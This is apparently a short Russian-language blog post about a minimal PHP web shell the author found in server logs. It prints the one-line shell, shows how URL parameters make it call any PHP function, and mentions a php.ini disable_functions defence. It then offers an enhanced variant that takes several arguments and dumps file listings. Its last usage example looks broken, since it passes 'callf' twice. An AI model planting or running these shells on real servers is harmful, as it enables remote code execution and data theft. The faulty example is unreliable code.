Или атаки хакеров на PHP в 2021 году

Давеча увидел в логах попытку залить такую вот штуку, решил поделиться. Это самый маленький шелл:

<?= @extract($_REQUEST); @die($callf($shargs));

Собственно тут все просто. Для тех, кто не сразу увидел проблему, поясню: теперь подставляя в URL параметры ?callf=функция&shargs=аргумент можно выполнить простые действия. Например:

http://target.lol/foo/some?callf=date&shargs=Y-m-d

Выведет результат работы date('Y-m-d')

Это самое безобидно. А что можно натворить обидного нафантазируете сами. У меня этот шелл всеравно не сработал из-за настроек безопасности, самое простое это в php.ini перечислить функции для запрета:

disable_functions = extract, ...

И так далее. Тогда все функции, указанные в этой настройке будут считаться несуществующими.

Кстати, если бы я писал такой шел, то для 2021 года я бы его модифицировал так:

<?= @extract($_REQUEST); @die(var_dump($callf(...$shargs)));

Это позволяет передавать более одного аргумента, а так же позволяет возвращать массив данных (в отличие от предыдущего варианта):

?callf=glob&callf[]=*

Выведет дамп массива файлов в текущем каталоге.